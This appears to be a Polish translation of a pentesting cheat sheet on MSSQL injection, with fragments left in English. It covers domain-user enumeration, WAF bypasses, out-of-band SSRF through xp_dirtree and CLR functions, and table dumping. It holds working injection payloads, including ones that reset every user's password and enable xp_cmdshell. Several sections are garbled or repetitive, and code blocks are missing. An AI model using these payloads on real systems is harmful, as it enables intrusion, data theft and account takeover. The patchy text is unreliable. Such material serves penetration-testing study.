MSSQL Injection
Wstrzyknięcie SQL w MSSQL
Wyliczanie użytkowników Active Directory
Możliwe jest wyliczenie użytkowników domeny za pomocą wstrzyknięcia SQL wewnątrz serwera MSSQL, korzystając z następujących funkcji MSSQL:
SELECT DEFAULT_DOMAIN()
: Pobierz nazwę bieżącej domeny.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Jeśli znasz nazwę domeny (DOMAIN w tym przykładzie), ta funkcja zwróci SID użytkownika Administratora w formacie szesnastkowym. Będzie to wyglądać jak0x01050000000[...]0000f401
, zauważ, że ostatnie 4 bajty to liczba 500 w formacie big endian, która jest wspólnym identyfikatorem użytkownika administratora. Ta funkcja pozwoli ci poznać ID domeny (wszystkie bajty oprócz ostatnich 4).SUSER_SNAME(0x01050000000[...]0000e803)
: Ta funkcja zwróci nazwę użytkownika dla wskazanego ID (jeśli istnieje), w tym przypadku 0000e803 w formacie big endian == 1000 (zwykle jest to ID pierwszego utworzonego zwykłego użytkownika). Możesz sobie wyobrazić, że możesz próbować siłowo ID użytkowników od 1000 do 2000 i prawdopodobnie uzyskać wszystkie nazwy użytkowników domeny. Na przykład, korzystając z funkcji podobnej do tej:
Alternatywne wektory oparte na błędach
Błędne wstrzyknięcia SQL zwykle mają konstrukcje podobne do +AND+1=@@version--
i wariantów opartych na operatorze «OR». Zapytania zawierające takie wyrażenia są zazwyczaj blokowane przez WAFy. Aby je ominąć, połącz ciąg znaków za pomocą znaku %2b z wynikiem konkretnych wywołań funkcji, które wywołują błąd konwersji typu danych na poszukiwanych danych.
Przykłady takich funkcji:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Przykład użycia funkcji USER_NAME()
:
SSRF
Te sztuczki SSRF zostały zaczerpnięte stąd
fn_xe_file_target_read_file
fn_xe_file_target_read_file
Wymaga uprawnienia VIEW SERVER STATE
na serwerze.
fn_get_audit_file
fn_get_audit_file
Wymaga uprawnienia CONTROL SERVER
.
fn_trace_gettabe
fn_trace_gettabe
Wymaga uprawnienia CONTROL SERVER
.
xp_dirtree
, xp_fileexists
, xp_subdirs
xp_dirtree
, xp_fileexists
, xp_subdirs
Procedury składowane takie jak xp_dirtree
, chociaż nie są oficjalnie udokumentowane przez firmę Microsoft, zostały opisane przez innych online ze względu na ich przydatność w operacjach sieciowych w MSSQL. Te procedury są często wykorzystywane do eksfiltracji danych Out of Band, jak pokazano w różnych przykładach i postach.
Na przykład, procedura składowana xp_dirtree
jest używana do wykonywania żądań sieciowych, ale jest ograniczona tylko do portu TCP 445. Numer portu nie jest modyfikowalny, ale umożliwia odczyt z udziałów sieciowych. Użycie jest przedstawione w poniższym skrypcie SQL:
Warto zauważyć, że ta metoda może nie działać na wszystkich konfiguracjach systemu, takich jak Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
działający na Windows Server 2016 Datacenter
z domyślnymi ustawieniami.
Dodatkowo istnieją alternatywne procedury składowane, takie jak master..xp_fileexist
i xp_subdirs
, które mogą osiągnąć podobne rezultaty. Więcej informacji na temat xp_fileexist
można znaleźć w tym artykule TechNet.
xp_cmdshell
xp_cmdshell
Oczywiście można również użyć xp_cmdshell
do wykonania czegoś, co wywoła SSRF. Więcej informacji znajduje się w odpowiednim rozdziale na stronie:
MSSQL Funkcja zdefiniowana przez użytkownika - SQLHttp
Tworzenie funkcji CLR UDF (Common Language Runtime User Defined Function), która jest kodem napisanym w dowolnym języku .NET i skompilowanym do DLL, aby został załadowany w MSSQL w celu wykonania niestandardowych funkcji, jest procesem, który wymaga dostępu dbo
. Oznacza to, że jest to zazwyczaj wykonalne tylko wtedy, gdy połączenie z bazą danych jest nawiązywane jako sa
lub z rolą Administratora.
W tym repozytorium Github dostarczono projekt Visual Studio oraz instrukcje instalacji, które ułatwiają załadowanie binarnego pliku do MSSQL jako zestawu CLR, umożliwiając tym samym wykonywanie żądań HTTP GET wewnątrz MSSQL.
Rdzeń tej funkcjonalności jest zawarty w pliku http.cs
, który wykorzystuje klasę WebClient
do wykonania żądania GET i pobrania zawartości, jak pokazano poniżej:
Przed wykonaniem polecenia SQL CREATE ASSEMBLY
zaleca się uruchomienie następującego fragmentu kodu SQL, aby dodać skrót SHA512 zestawu do listy zaufanych zestawów serwera (widocznej za pomocą select * from sys.trusted_assemblies;
):
Po pomyślnym dodaniu zestawu i utworzeniu funkcji, można użyć następującego kodu SQL do wykonywania żądań HTTP:
Szybkie wykorzystanie: Pobieranie całej zawartości tabeli w jednym zapytaniu
Zwięzła metoda pobierania pełnej zawartości tabeli w jednym zapytaniu polega na wykorzystaniu klauzuli FOR JSON
. Ten podejście jest bardziej zwięzłe niż użycie klauzuli FOR XML
, która wymaga określonego trybu, takiego jak "raw". Klauzula FOR JSON
jest preferowana ze względu na swoją zwięzłość.
Oto jak pobrać schemat, tabele i kolumny z bieżącej bazy danych:
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Retrieving the Current Query
For users granted the VIEW SERVER STATE
permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
To check if you have the VIEW SERVER STATE permission, the following query can be used:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Opis
Ten URL zawiera potencjalną podatność na atak SQL Injection. Parametr "id" jest podatny na wstrzyknięcie kodu SQL.
Wykorzystanie
Aby wykorzystać tę podatność, możemy użyć techniki "Union-Based SQL Injection". W tym przypadku, używamy komendy "UNION SELECT" do pobrania danych z innych tabel w bazie danych.
W powyższym URL, używamy "UNION SELECT null, @@version, null" do pobrania wersji bazy danych.
Zabezpieczenie
Aby zabezpieczyć aplikację przed atakami SQL Injection, należy stosować parametryzację zapytań SQL lub używać mechanizmów ORM (Object-Relational Mapping). Ważne jest również sprawdzanie i walidacja danych wejściowych, aby zapobiec wstrzyknięciu kodu SQL.
Wstrzyknięcie SQL w MSSQL
Wstrzyknięcie SQL w aplikacji internetowej opartej na bazie danych MSSQL może umożliwić atakującemu wykonanie złośliwego kodu SQL. Poniżej przedstawiono przykłady wstrzyknięcia SQL w aplikacji podatnej na atak:
W powyższych przykładach parametr id
jest podatny na wstrzyknięcie SQL. Atakujący wykorzystuje operator UNION
do łączenia wyników zapytań SQL. W pierwszym przykładzie używa się notacji naukowej 0e
przed słowem union
, a w drugim przykładzie używa się notacji szesnastkowej 0x
. Następnie atakujący wykorzystuje funkcję @@version
, aby uzyskać informacje o wersji bazy danych MSSQL.
Aby zabezpieczyć aplikację przed wstrzyknięciem SQL, należy odpowiednio filtrować i walidować dane wejściowe oraz stosować parametryzowane zapytania SQL.
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
Opis
Ten URL zawiera potencjalną podatność na atak SQL Injection. Parametr id
jest podatny na wstrzyknięcie kodu SQL.
Atak
Atakujący może wykorzystać podatność na SQL Injection, aby uzyskać wrażliwe informacje z bazy danych. W tym przypadku, atakujący próbuje wydobyć wersję bazy danych MSSQL.
Atakujący wprowadza 1 union select null,@@version,null from.users--
jako wartość parametru id
. W wyniku zapytania SQL zostanie wykonane połączenie dwóch tabel: null
oraz @@version
. @@version
zwróci wersję bazy danych MSSQL.
Zabezpieczenie
Aby zabezpieczyć aplikację przed atakami SQL Injection, należy skorzystać z parametryzowanych zapytań lub zastosować mechanizmy filtrowania i walidacji danych wejściowych. W przypadku bazy danych MSSQL, można również ograniczyć uprawnienia użytkownika do minimalnego poziomu wymaganego przez aplikację.
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
SQL Injection (Wstrzyknięcie SQL)
MSSQL Injection (Wstrzyknięcie MSSQL)
Wstrzyknięcie SQL to technika ataku, która polega na wstrzyknięciu złośliwego kodu SQL do zapytania SQL, które jest wykonywane przez aplikację internetową. W przypadku wstrzyknięcia MSSQL, atakujący próbuje wykorzystać podatność w aplikacji internetowej, która korzysta z bazy danych Microsoft SQL Server (MSSQL).
Przykład ataku
Poniższy link jest przykładem ataku wstrzyknięcia MSSQL:
W powyższym przykładzie, atakujący próbuje wstrzyknąć kod SQL do parametru id
. Wstrzyknięty kod SQL to 0xunion+select\Nnull,@@version,null+from+users--
. Ten kod SQL ma na celu wyświetlenie wersji bazy danych MSSQL.
Aby zabezpieczyć aplikację przed wstrzyknięciem MSSQL, należy odpowiednio filtrować i walidować dane wejściowe, a także korzystać z parametryzowanych zapytań SQL.
So for example, multiple queries such as:
Dodanie bezużytecznego exec() na końcu i sprawienie, że WAF uzna to za nieprawidłowe zapytanie
admina'union select 1,'admin','testtest123'exec('select 1')--
To będzie:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'
Użycie dziwnie skonstruowanych zapytań
admin'exec('update[users]set[password]=''a''')--
To będzie:
SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'
Lub włączenie xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
To będzie:
select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'
Last updated